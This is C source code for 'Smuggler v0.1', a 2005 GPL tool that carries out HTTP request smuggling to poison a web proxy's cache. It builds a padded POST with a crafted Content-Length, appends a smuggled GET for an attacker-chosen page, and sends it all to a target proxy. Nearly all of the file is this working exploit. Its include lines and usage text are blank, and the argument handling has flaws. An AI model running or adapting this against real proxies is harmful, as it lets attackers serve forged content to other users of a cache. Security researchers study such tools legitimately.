/* Smuggler v0.1, Andy Davis, Information Risk Management 2005 Demonstrates HTTP Request Smuggling - Web Cache Poisoning This code is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This code is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. Or, point your browser to http://www.gnu.org/copyleft/gpl.html */ #include #include #include #include #include #pragma comment(lib, "ws2_32") void usage (void); int send_packet (unsigned char * PacketBuf, unsigned char * ProxyIP, unsigned char * ProxyPort); void main(int *argc, char **argv) { unsigned char * TargetIP; unsigned char * ProxyIP; unsigned char * ProxyPort; unsigned char * POSTPage; unsigned char * PageToPoison; unsigned char * PoisoningPage; unsigned char ContentLength[6]; unsigned char FinalBuf[50000]; unsigned char BodyBuf[49200]; unsigned char buf1[] = "POST http://\x00"; unsigned char buf2[] = "/"; unsigned char buf3[] = " HTTP/1.1\r\nHost: \x00"; unsigned char buf4[] = "\r\nConnection: keep-alive\r\nContent-Length: \x00"; unsigned char buf6[] = "\r\n\r\n\x00"; unsigned char buf7[] = "\r\n GET /\x00"; unsigned char buf8[] = " HTTP/1.0\r\n\r\n\x00"; unsigned char buf9[] = "GET http://\x00"; unsigned char buf10[] = " HTTP/1.1\r\nHost: \x00"; int ContentLen = 0; int x = 0; if (argc < 6) usage(); memset (BodyBuf,'A',49150); BodyBuf[49150] = 0; TargetIP = argv[1]; ProxyIP = argv[2]; ProxyPort = argv[3]; POSTPage = argv[4]; PageToPoison = argv[5]; PoisoningPage = argv[6]; memset (FinalBuf, 0, 50000); for (x=0; x<50000; x++) FinalBuf[x] = '\x00'; ContentLen = 49150 + strlen(buf7) + strlen(PoisoningPage) + strlen(buf8) - 5; itoa (ContentLen, ContentLength, 10); /* Build HTTP request */ strncpy (FinalBuf, buf1, strlen(buf1)); strncat (FinalBuf, TargetIP, strlen(TargetIP)); strncat (FinalBuf, buf2, strlen(buf2)); strncat (FinalBuf, POSTPage, strlen(POSTPage)); strncat (FinalBuf, buf3, strlen(buf3)); strncat (FinalBuf, TargetIP, strlen(TargetIP)); strncat (FinalBuf, buf4, strlen(buf4)); strncat (FinalBuf, ContentLength, strlen(ContentLength)); strncat (FinalBuf, buf6, strlen(buf6)); strncat (FinalBuf, BodyBuf, strlen(BodyBuf)); strncat (FinalBuf, buf7, strlen(buf7)); strncat (FinalBuf, PoisoningPage, strlen(PoisoningPage)); strncat (FinalBuf, buf8, strlen(buf8)); strncat (FinalBuf, buf9, strlen(buf9)); strncat (FinalBuf, TargetIP, strlen(TargetIP)); strncat (FinalBuf, buf2, strlen(buf2)); strncat (FinalBuf, PageToPoison, strlen(PageToPoison)); strncat (FinalBuf, buf10, strlen(buf10)); strncat (FinalBuf, TargetIP, strlen(TargetIP)); strncat (FinalBuf, buf6, strlen(buf6)); send_packet (FinalBuf, ProxyIP, ProxyPort); } void usage (void) { printf ("\n---------------------------------------------------\n"); printf ("smuggler v0.1 - The HTTP Request Smuggling tool\n"); printf ("Andy Davis, IRM plc 2005\n"); printf ("---------------------------------------------------\n\n"); printf ("Usage: smuggler \n\n"); exit (1); } int send_packet (unsigned char * PacketBuf, unsigned char * TargetIP, unsigned char * ProxyPort) { int bytesSent; int bytesRecv = SOCKET_ERROR; char recvbuf[100]; SOCKADDR_IN clientService; SOCKET ConnectSocket; WSADATA wsaData; int iResult = WSAStartup(MAKEWORD(2,2), &wsaData); if (iResult != NO_ERROR) printf("Error at WSAStartup()\n"); ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (ConnectSocket == INVALID_SOCKET) { printf("Error at socket(): %ld\n", WSAGetLastError()); WSACleanup(); exit (-1); } clientService.sin_family = AF_INET; clientService.sin_addr.s_addr = inet_addr(TargetIP); clientService.sin_port = htons(atoi(ProxyPort)); if ( connect( ConnectSocket, (SOCKADDR*) &clientService, sizeof(clientService) ) == SOCKET_ERROR) { printf( "Error: socket(): %ld\n", WSAGetLastError()); WSACleanup(); exit (-1); } printf ("\nSending smuggled request....."); bytesSent = send( ConnectSocket, PacketBuf, strlen(PacketBuf), 0 ); if (bytesSent > 0) { printf ("request sent successfully\n"); printf ("Please wait.....\n"); } else { printf ("\nSend failed.\n\n"); } while( bytesRecv == SOCKET_ERROR ) { bytesRecv = recv( ConnectSocket, recvbuf, 32, 0 ); if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET ) { printf( "Connection Closed.\n"); break; } printf ("The web cache should now be poisoned\n\n"); } WSACleanup(); return 0; }